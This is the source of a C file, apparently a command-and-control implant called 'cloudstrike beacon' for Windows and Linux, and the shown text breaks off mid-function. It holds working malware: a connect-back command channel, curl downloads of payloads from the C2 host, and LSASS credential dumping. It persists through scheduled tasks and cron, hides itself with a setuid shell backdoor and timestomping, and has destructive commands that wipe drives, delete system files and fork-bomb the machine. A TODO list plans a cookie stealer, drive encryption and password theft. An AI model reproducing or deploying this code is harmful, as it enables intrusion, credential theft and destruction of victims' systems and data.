-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathmain.c
1243 lines (1170 loc) · 30.8 KB
/
main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
//cloudstrike beacon
/*
TODO:
Windows:
- implement dos function
- implement history for guid
- make downloads appear in a folder with guid as name
- implement communication over https
- implement communication over dns
- implement check for lolba by checking if the file of the lolba exist
- implement guid system
- implement bind shell
- implement cookie stealer for Firefox, Chrome, Brave, MsEdge, Opera, Opera GX
- drive encryption functionality
- better encoding for protocol than xor
- implement port forwarding or even better socks proxy + proxy chain
- fix download for bigger files and binaries
- fix upload for bigger files and binaries
- replace webserver by uploading files directly over the controll channel
Linux:
- implement optional pam trap to steal root password
- add locutus installer
- implement port forwarding or even better socks proxy + proxy chain
*/
#define C2_ADDR "127.0.0.1"
#define C2_PORT 1337
#define C2_WEB_PORT 1337
#define AUTO_IMPLANT 1
#define DEBUG 0
int got_lolba=0;
char *magic;
//bypass av
#define MAX_OP 100000000
#define TOO_MUCH_MEM 100000000
#ifdef _WIN32
//change if traffic is encoded in es2.h!!!
#include "es2.h"
#include <string.h>
#include <tchar.h>
#include <psapi.h>
#include <TlHelp32.h>
#include <process.h>
#pragma comment( lib, "Psapi.lib" )
#pragma comment( lib, "dbghelp.lib")
char HOME[300]="windows";
char init_msg[]="windows\n";
int _conn_init() {
es_init();
while(es_connect(C2_ADDR, C2_PORT)!=0);
return(0);
}
response _recv() {
#if DEBUG==1
printf("receiving...\n");//debug
#endif
response r=es_recv(4096, 1, 0);
#if DEBUG==1
printf("es_recv returned!\n");//debug
#endif
#if ENCODED == 1
for(int i=0; i<strlen(r.data); i++) {
r.data[i]=r.data[i]^0x1f;
}
#endif
#if DEBUG==1
printf("received: '%s'\n", r.data);
#endif
if(!alive()) {
#if DEBUG==1
printf("not alive anymore!\n"); //debug
#endif
r.buf_sz=0;
return(r);
}
return(r);
}
int _send(char *message) {
#if DEBUG==1
printf("sending '%s'\n", message);//debug
#endif
#if ENCODED == 1
strcat(message, "EOF");
for(int i=0; i<strlen(message); i++) {
message[i]=message[i]^0x1f;
}
#else
if(strchr(message, '\n')==NULL) {
strcat(message, "\n");
}
#endif
es_send(message, 1);
if(!alive()) {
return(-1);
}
return(strlen(message));
}
void _cleanup() {
#if DEBUG==1
puts("cleaning up...");//debug
#endif
es_cleanup();
}
int memoryCheck() {
MEMORYSTATUSEX statex;
statex.dwLength = sizeof(statex);
GlobalMemoryStatusEx(&statex);
if (statex.ullTotalPhys / 1024 / 1024 / 1024 >= 5.00) {
return 1;
}
else {
return 0;
}
}
int chdir(char *path) {
if(SetCurrentDirectory(path)==0) {
return(-1);
}
else {
return(0);
}
}
char *exec(char *in) {
#if DEBUG==1
puts(in);
#endif
char *cmd=malloc(4096);
memset(cmd, 0, sizeof(cmd));
if(got_lolba==1) {
sprintf(cmd, "echo %s > C:\\Users\\%%username%%\\co.bat && dxcap -c \'C:\\Users\\%%username%%\\co.bat\' && del C:\\Users\\%%username%%\\co.bat && del C:\\Users\\%%username%%\\co*log", in);
}
else {
sprintf(cmd, "%s", in);
}
#if DEBUG==1
printf("executing: %s\n", cmd);
#endif
FILE *t;
t=_popen(cmd, "r");
if(t==NULL) {
char *r=malloc(50);
memset(r,0,50);
strcpy(r, "error popen failed!\n");
return(r);
}
char *out=malloc(4096);
memset(out, 0, sizeof(out));
char *output = malloc(4096);
memset(output, 0, sizeof(output));
int x=2;
while(fgets(output, 4096, t) != NULL) {
if (output!=NULL) {
sprintf(out, "%s%s", out, output);
out=realloc(out, 4096*x);
x+=1;
memset(output, 0, sizeof(output));
if(out==NULL) {
char *r=malloc(50);
memset(r,0,50);
strcpy(r, "error realloc failed!\n");
return(r);
}
}
}
return(out);
}
void destroy() {
char one[50] = "RD C:\\ /S /Q";
char two[50] ="del c:\\windows\\system32*.* /q";
char three[50] = "del /f /s /q \"C:*.*.\"";
free(exec(one));
free(exec(two));
free(exec(three));
}
void passdump() {
//Load the dump
//mimikatz # sekurlsa::minidump lsass.dmp(=hello.kitty)
//Extract credentials
//mimikatz # sekurlsa::logonPasswords
char d[1000];
sprintf(d,"curl %s:%d/%s/procdump.exe -o hello.exe",C2_ADDR, C2_WEB_PORT, magic);
#if DEBUG==1
puts(d);
#endif
free(exec(d));
free(exec("hello.exe -accepteula -ma lsass hello.kitty"));
_send("saved the dump to hello.kitty!\nremember to download it!");
}
void crash() {
DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i;
EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded );
cProcesses = cbNeeded / sizeof(DWORD);
for ( i = 0; i < cProcesses; i++ ) {
TerminateProcess(OpenProcess(PROCESS_TERMINATE, TRUE, aProcesses[i]), -1);
}
}
int implant() {
char* struser = getenv("username");
char strnewname[500];
sprintf(strnewname, "C:\\Users\\%s\\Safety\\MsSafety.exe", struser);
//char reg1[1024]="reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" /v MsSafety /t REG_SZ /f /d ";
//char reg2[1024]="reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\" /v MsSafety /t REG_SZ /f /d ";
//char reg3[1024]="reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\" /v MsSafety /t REG_SZ /f /d ";
//char reg4[1024]="reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\" /v MsSafety /t REG_SZ /f /d ";
//sprintf(reg1, "%s\"%s\"", reg1, strnewname);
//sprintf(reg2, "%s\"%s\"", reg2, strnewname);
//sprintf(reg3, "%s\"%s\"", reg3, strnewname);
//sprintf(reg4, "%s\"%s\"", reg4, strnewname);
//#if DEBUG==1
//puts(reg1);
//puts(reg2);
//puts(reg3);
//puts(reg4);
//#endif
//free(exec(reg1));
//free(exec(reg2));
//free(exec(reg3));
//free(exec(reg4));
char autorun[500];
sprintf(autorun, "schtasks /cr\"ea\"te /f /sc minute /mo 1 /tn \"MsSafety\" /tr %s",strnewname);
#if DEBUG==1
puts(autorun);
#endif
free(exec(autorun));
#if DEBUG==1
puts("schtasks /r\"u\"n /tn \"MsSafety\"");
#endif
free(exec("schtasks /r\"u\"n /tn \"MsSafety\""));
char r[]="implant finished!\n";
_send(r);
return(1);
}
int hide(char **argv) {
#if DEBUG==1
return(1);
#endif
HWND window;
AllocConsole();
window = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(window, 0);
char* struser = getenv("username");
char dirname[500];
sprintf(dirname, "C:\\Users\\%s\\Safety", struser);
CreateDirectory(dirname, NULL);
char d[1024];
sprintf(d, "attrib +s +h %s", dirname);
free(exec(d));
char strnewname[300];
sprintf(strnewname, "C:\\Users\\%s\\Safety\\MsSafety.exe", struser);
FILE *ftp;
ftp=fopen(strnewname, "rb");
if(ftp) {
remove(strnewname);
fclose(ftp);
}
int r = rename(argv[0], strnewname);
return(1);
}
int upload(char *dest) {
#if DEBUG==1
printf("uploading to %s\n", dest);
#endif
response r1;
r1=_recv();
if(r1.buf_sz==0) {
return(-1);
}
FILE *fp=fopen(dest, "w");
if(fp==NULL) {
return(-1);
}
#if DEBUG==1
printf("writing data: %s\n", r1.data);
#endif
fputs(r1.data, fp);
fclose(fp);
free(r1.data);
#if DEBUG==1
puts("upload successful!");
#endif
return(1);
}
int download(char *filename) {
FILE *fp = fopen(filename, "rb");
if (fp == NULL) {
perror("Error opening file");
return(-1);
}
fseek(fp, 0, SEEK_END);
long fsize = ftell(fp);
fseek(fp, 0, SEEK_SET);
char *content = malloc(fsize + 1);
if (content == NULL) {
fclose(fp);
perror("Error allocating memory");
return(-1);
}
memset(content, 0, fsize + 1);
if (fread(content, fsize, 1, fp) != 1) {
fclose(fp);
free(content);
perror("Error reading file");
return(-1);
}
fclose(fp);
_send(content);
free(content);
return(1);
}
int check_msg(char *msg) {
#if DEBUG==1
printf("\nmsg: '%s'\n", msg);//debug
#endif
size_t s = strlen(msg);
if (s && (msg[s-1] == '\n')) msg[--s] = 0;
if(strcmp(msg, "implant")==0) {
implant();
}
else if(strcmp(msg, "exit")==0) {
return(2);
}
else if(strcmp(msg, "help")==0) {
char help[200]="available functions:\nimplant\nupload\ndownload\ndestroy\npanic\npyinstall\npassdump\ncrash\nswap\nupdate\nexit\nhelp\n";
_send(help);
return(1);
}
else if(strcmp(msg, "panic")==0) {
char lol[1000];
char* struser = getenv("username");
char strnewname[300];
sprintf(strnewname, "C:\\Users\\%s\\Safety\\ms.bat", struser);
sprintf(lol,"curl %s:%d/%s/killswitch.bat -o %s",C2_ADDR, C2_WEB_PORT, magic, strnewname);
puts(lol);
free(exec(lol));
free(exec("schtasks /de\"let\"e /f /tn MsSafety"));
sprintf(lol, "start /B %s", strnewname);
free(exec(lol));
return(2);
}
else if(strcmp(msg, "update")==0) {
char* struser = getenv("username");
char strnewname[300];
sprintf(strnewname, "C:\\Users\\%s\\Safety\\MsSafety.exe", struser);
char strnewername[400];
sprintf(strnewername, "C:\\Users\\%s\\Safety\\MsSafety2.exe", struser);
rename(strnewname, strnewername);
char d[1000];
sprintf(d,"curl %s:%d/%s/beacon_global.exe -o %s",C2_ADDR, C2_WEB_PORT, magic, strnewname);
free(exec(d));
char info[50]="update finished!";
_send(info);
return(1);
}
else if(strcmp(msg, "pyinstall")==0) {
char* struser = getenv("username");
char oname[300];
sprintf(oname, "C:\\Users\\%s\\Safety\\python-3.8.5.exe", struser);
char d[1000];
sprintf(d, "curl %s:%d/%s/python-3.8.5.exe --output \"%s\" && \"%s\" InstallAllUsers=0 Include_launcher=0 Include_test=0 PrependPath=1 /quiet", C2_ADDR, C2_WEB_PORT, magic, oname, oname);
#if DEBUG==1
puts(d);
#endif
free(exec(d));
char info[50]="python installed!\nyou can now use \"python\"\n";
_send(info);
return(1);
}
else if(strcmp(msg, "swap")==0) {
SwapMouseButton(TRUE);
return(1);
}
else if(strcmp(msg, "passdump")==0) {
char i[50]="dumping lsass!";
_send(i);
passdump();
char info[50]="dumped!";
_send(info);
return(1);
}
else if(strcmp(msg, "crash")==0) {
char i[50]="crashing target!";
_send(i);
crash();
char info[50]="Tango down!!!";
_send(info);
return(1);
}
else if(strcmp(msg, "destroy")==0) {
char i[50]="destroying target!";
_send(i);
destroy();
char info[50]="Tango down!!!";
_send(info);
return(1);
}
else if(strstr(msg, "upload")!=NULL) {
char msg2[s+1];
strcpy(msg2, msg);
#if DEBUG==1
puts("\n");
puts(msg2);
#endif
char *tok1=strtok(msg2, " ");
if(tok1==NULL) {
#if DEBUG==1
printf("invalid syntax: %s\nusage: upload <dest>\n", msg);
#endif
sprintf(msg, "invalid syntax: %s\nusage: upload <dest>\n", msg);
_send(msg);
return(1);
}
char *dest=tok1+strlen("upload")+1;
#if DEBUG==1
puts("uploading...\n");
printf("dest: %s\n", dest);
#endif
if(upload(dest)==-1) {
char err[]="upload failed!\n";
_send(err);
}
else {
char suc[]="upload successful!\n";
_send(suc);
}
return(1);
}
else if(strstr(msg, "download")!=NULL) {
char msg2[s+1];
strcpy(msg2, msg);
#if DEBUG==1
puts("\n");
puts(msg2);
#endif
char *tok1=strtok(msg2, " ");
if(tok1==NULL) {
#if DEBUG==1
printf("invalid syntax: %s\nusage: download <dest>\n", msg);
#endif
sprintf(msg, "invalid syntax: %s\nusage: download <dest>\n", msg);
_send(msg);
return(1);
}
char *path=tok1+strlen("download")+1;
#if DEBUG==1
printf("trying to download %s\n", path);
#endif
if(download(path)==-1) {
char err[]="download failed!\n";
_send(err);
}
else {
char suc[]="download successful!\n";
_send(suc);
}
return(1);
}
else {
return(0);
}
}
#endif
#ifdef __linux
#define ENCODED 1 //change if the traffic is encoded or not!
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <sys/mount.h>
#include <time.h>
#include <utime.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <errno.h>
#define HOME "/tmp"
typedef struct response {
char* data;
int buf_sz;
} response;
char init_msg[]="linux\n";
int sock;
struct sockaddr_in server;
int _conn_init() {
sock=socket(AF_INET, SOCK_STREAM, 0);
if(sock==-1) {
#if DEBUG==1
printf("Could not create socket");
#endif
return(-1);
}
#if DEBUG==1
puts("Socket created");
#endif
server.sin_addr.s_addr=inet_addr(C2_ADDR);
server.sin_family=AF_INET;
server.sin_port=htons(C2_PORT);
while(connect(sock, (struct sockaddr *)&server, sizeof(server))<0);
#if DEBUG==1
puts("Connected\n");
#endif
return(0);
}
int _send(char *message) {
#if ENCODED==1
strcat(message, "EOF");
for(int i=0; i<strlen(message); i++) {
message[i]=message[i]^0x1f;
}
#endif
return(send(sock, message, strlen(message), 0));
}
response _recv() {
response r;
char *message=malloc(4096);
memset(message, 0, 4096);
#if ENCODED==1
char eof[4]={'E'^0x1f, 'O'^0x1f, 'F'^0x1f, '\0'};
#else
char eof[2] = {'\n', '\0'};
#endif
#if DEBUG==1
puts("receiving...\n");
#endif
char *tmp=malloc(4096);
while(recv(sock, tmp, 4096, 0)>0) {
message=realloc(message, strlen(message)+strlen(tmp)+2);
if(message==NULL) {
#if DEBUG==1
printf("error realloc failed!\n");
#endif
r.buf_sz=0;
strcpy(r.data, "error realloc failed!");
return(r);
}
#if DEBUG==1
printf("tmp: '%s'\n", tmp);
#endif
strcat(message, tmp);
#if DEBUG==1
printf("current message: '%s'\n", message);
#endif
if(strstr(tmp, eof)!=NULL) {
#if DEBUG==1
puts("EOF found!\n");
#endif
break;
}
memset(tmp, 0, 4096);
}
free(tmp);
if(ENCODED==1) {
for(int i=0; i<strlen(message); i++) {
message[i]=message[i]^0x1f;
}
message[strlen(message)-4]='\0';
}
r.buf_sz=strlen(message);
r.data=message;
return(r);
}
int _cleanup() {
#if DEBUG==1
printf("cleaning up...\n");
#endif
close(sock);
}
time_t getFileCreationTime(char *path) {
struct stat attr;
stat(path, &attr);
return(attr.st_mtime);
}
void change_time(char *filename, time_t new) {
struct stat foo;
time_t mtime;
struct utimbuf new_times;
stat(filename, &foo);
new_times.actime = foo.st_atime;
new_times.modtime = new;
utime(filename, &new_times);
}
char *exec(char *cmd) {
#if DEBUG==1
printf("executing: %s\n", cmd);
#endif
FILE *fp;
fp=popen(cmd, "r");
if(fp==NULL) {
char *err=malloc(50);
memset(err, 0, 50);
strcpy(err, "error popen failed!\n");
return(err);
}
char *out=malloc(1024);
memset(out, 0, 1024);
char *output = malloc(1024);
memset(output, 0, 1024);
while(fgets(output, 1024, fp) != NULL) {
if (output==NULL) {
#if DEBUG==1
printf("error malloc failed!\n");
#endif
char *err=malloc(50);
memset(err, 0, 50);
strcpy(err, "error malloc failed!\n");
return(err);
}
out=realloc(out, strlen(out)+strlen(output)+2);
sprintf(out, "%s%s", out, output);
}
#if DEBUG==1
printf("exec out: %s\n", out);
#endif
if(output!=NULL) {
free(output);
}
else {
#if DEBUG==1
printf("error output is null!\n");
#endif
}
if(out==NULL) {
char *err=malloc(50);
memset(err, 0, 50);
strcpy(err, "error out is null!");
return(err);
}
return(out);
}
int hide(char **argv) {
#if DEBUG==1
return(1);
#endif
if (fork() != 0) exit(0);
setsid();
rename(argv[0], "/tmp/...");
if(geteuid()==0) {
rename(argv[0], "/bin/...");
free(exec("chmod +x /bin/..."));
change_time("/bin/...", getFileCreationTime("/bin/bash"));
free(exec("cp /bin/bash /etc/s"));
free(exec("chmod u+s /etc/s"));
free(exec("chown root:root /etc/s"));
free(exec("mkdir /tmp/..."));
free(exec("mkdir -p /tmp/.../a/b"));
free(exec("cp /etc/mtab /tmp/mtab"));
free(exec("sudo mount -o bind /tmp/..../a /tmp/..../a/b"));
rename("/tmp/....", "/tmp/..../a/b/b/....");
free(exec("mv /tmp/mtab /etc/mtab"));
free(exec("cp /etc/mtab /tmp/mtab"));
pid_t pid=getpid();
char pidstr[10];
sprintf(pidstr, "%d", pid);
char *dest=malloc(strlen(pidstr)+strlen("/proc/")+2);
strcpy(dest, "/proc/");
strcat(dest, pidstr);
mount("/bin", dest, "none", MS_BIND, NULL);
free(dest);
free(exec("mv /tmp/mtab /etc/mtab"));
}
else {
unlink(argv[0]);
}
}
int pwnkit() {
if (geteuid()==0) {
char err[]="you are already root!";
if(_send(err)==0) {
#if DEBUG==1
printf("send failed!\n");
#endif
_cleanup();
}
return(-1);
}
else{
char cmd[4096];
sprintf(cmd, "curl %s:%d/%s/PwnKite.py -o /tmp/PwnKite.py", C2_ADDR, C2_WEB_PORT, magic);
free(exec(cmd));
char ret[] = "PwnKit downloaded to /tmp/PwnKite.py!";
if(_send(ret)==0) {
#if DEBUG==1
printf("send failed!\n");
#endif
_cleanup();
return(-1);
}
return(1);
}
}
void destroy() {
if(geteuid()==0) {
char i[50]="destroying target!";
_send(i);
char pay[200]="sudo find /dev/sd* -exec sh -c 'cat /dev/random > \"{}\" &' \\;";
free(exec(pay));
}
else {
_send("sorry you dont have sufficient perms to destroy target!");
}
}
int upload(char *dest) {
#if DEBUG==1
printf("uploading to %s\n", dest);
#endif
response r1;
r1=_recv();
if(r1.buf_sz==0) {
return(-1);
}
FILE *fp=fopen(dest, "w");
if(fp==NULL) {
return(-1);
}
#if DEBUG==1
printf("writing data: %s\n", r1.data);
#endif
fputs(r1.data, fp);
fclose(fp);
free(r1.data);
#if DEBUG==1
puts("upload successful!");
#endif
return(1);
}
int download(char *filename) {
FILE *fp=fopen(filename, "r");
if(fp==NULL) {
return(-1);
}
fseek(fp, 0, SEEK_END);
long fsize=ftell(fp);
fseek(fp, 0, SEEK_SET);
char *content=malloc(fsize+1);
if(content==NULL) {
fclose(fp);
return(-1);
}
memset(content, 0, fsize+1);
fread(content, fsize, 1, fp);
fclose(fp);
_send(content);
return(1);
}
int game_overlay() {
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
char command[]="unshare -rm sh -c \"mkdir l u w m;cp /bin/sh l/;setcap cap_setuid+eip l/sh;mount -t overlay overlay -o userxattr,rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;u/sh;\"";
char ms[500];
sprintf(ms, "run to get root:\n%s\n\n", command);
if(_send(ms)==0) {
#if DEBUG==1
printf("send failed!\n");
#endif
_cleanup();
return(-1);
}
static char *newargv[] = { "/etc/s" };
static char *newenviron[] = { NULL };
execve("/etc/s", newargv, newenviron);
char wow[]="wow you got root!\n";
_send(wow);
return(1);
}
int implant() {
if(geteuid()!=0) {
char err[]="error not root!\n";
_send(err);
return(1);
}
free(exec("mkdir -p /etc/cron.d/"));
free(exec("sudo echo '* * * * * root /bin/...' >> /etc/cron.d/popularity-contest"));
change_time("/etc/cron.d/popularity-contest", getFileCreationTime("/bin/bash"));
char ret[]="implant successful!\n";
if(_send(ret)==0) {
#if DEBUG==1
printf("send failed!\n");
#endif
_cleanup();
return(-1);
}
return(1);
}
int rootkit() {
}
int crash() {
while (1) {
fork();
}
}
int break_shells() {
exec("for i in $(seq 0 10);do cat /dev/urandom > /dev/pts/$i &done");
}
int nyan() {
#if DEBUG==1
puts("nyancat flying!\n");
#endif
if(geteuid()!=0) {
char err[]="error not root!";
if(_send(err)==0) {
#if DEBUG==1
printf("send failed!\n");
#endif
_cleanup();
return(-1);
}
}
char cmd_[4096];
sprintf(cmd_, "curl %s:%d/%s/nyancat -o /tmp/nyanrner", C2_ADDR, C2_WEB_PORT, magic);
free(exec(cmd_));
free(exec("chmod +x /tmp/nyanrner"));
free(exec("for i in /dev/pts/*; do if [ -r \"$i\" ]; then bash -c \"/tmp/nyanrner\" > $i & fi; done"));
char info[]="nyancat flying!\n";
if(_send(info)==0) {
#if DEBUG==1
printf("send failed!\n");
#endif
_cleanup();
return(-1);
}
return(0);
}
int check_msg(char *msg) {
size_t s = strlen(msg);
if (s && (msg[s-1] == '\n')) msg[--s] = 0;
if(strcmp(msg, "pwnkit")==0) {
if(pwnkit()<0) {
#if DEBUG==1
printf("pwnkit failed!\n");
#endif
return(-1);
}
return(1);
}
else if(strcmp(msg, "game_overlay")==0) {
if(game_overlay()<0) {
#if DEBUG==1
printf("game_overlay failed!\n");
#endif
return(-1);
}
return(1);
}
else if(strcmp(msg, "shell")==0) {
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
static char *newargv[] = { NULL, "hello", "world", NULL };
static char *newenviron[] = { NULL };
execve("/etc/s", newargv, newenviron);
char me[]="good bye!\n";
_send(me);
return(1);
}
else if(strstr(msg, "upload")!=NULL) {
char msg2[s+1];
strcpy(msg2, msg);
#if DEBUG==1
puts("\n");
puts(msg2);
#endif
char *tok1=strtok(msg2, " ");
if(tok1==NULL) {
#if DEBUG==1
printf("invalid syntax: %s\nusage: upload <dest>\n", msg);
#endif
sprintf(msg, "invalid syntax: %s\nusage: upload <dest>\n", msg);
_send(msg);
return(1);
}
char *dest=tok1+strlen("upload")+1;
#if DEBUG==1
puts("uploading...\n");
printf("dest: %s\n", dest);
#endif
if(upload(dest)==-1) {
char err[]="upload failed!\n";
_send(err);
}
else {
char suc[]="upload successful!\n";
_send(suc);
}
return(1);
}
else if(strstr(msg, "download")!=NULL) {
char msg2[s+1];
strcpy(msg2, msg);
#if DEBUG==1
puts("\n");
puts(msg2);
#endif
char *tok1=strtok(msg2, " ");
if(tok1==NULL) {
#if DEBUG==1
printf("invalid syntax: %s\nusage: download <dest>\n", msg);
#endif
sprintf(msg, "invalid syntax: %s\nusage: download <dest>\n", msg);
_send(msg);
return(1);
}
char *path=tok1+strlen("download")+1;
if(download(path)==-1) {
char err[]="download failed!\n";
_send(err);
}
else {
char suc[]="download successful!\n";
_send(suc);
}
return(1);
}
else if(strcmp(msg, "destroy")==0) {
destroy();
return(1);
}
else if(strcmp(msg, "help")==0) {
char menu[]="available functions:\npwnkit\ndestroy\ngame_overlay\nnyancat\nimplant\nshell\ncrash\nbreak_shells\nupload\ndownload\nhelp\nexit\n";
if(_send(menu)==0) {
#if DEBUG==1
printf("send failed!\n");
#endif
_cleanup();
return(-1);
}
return(1);
}
else if(strcmp(msg, "implant")==0) {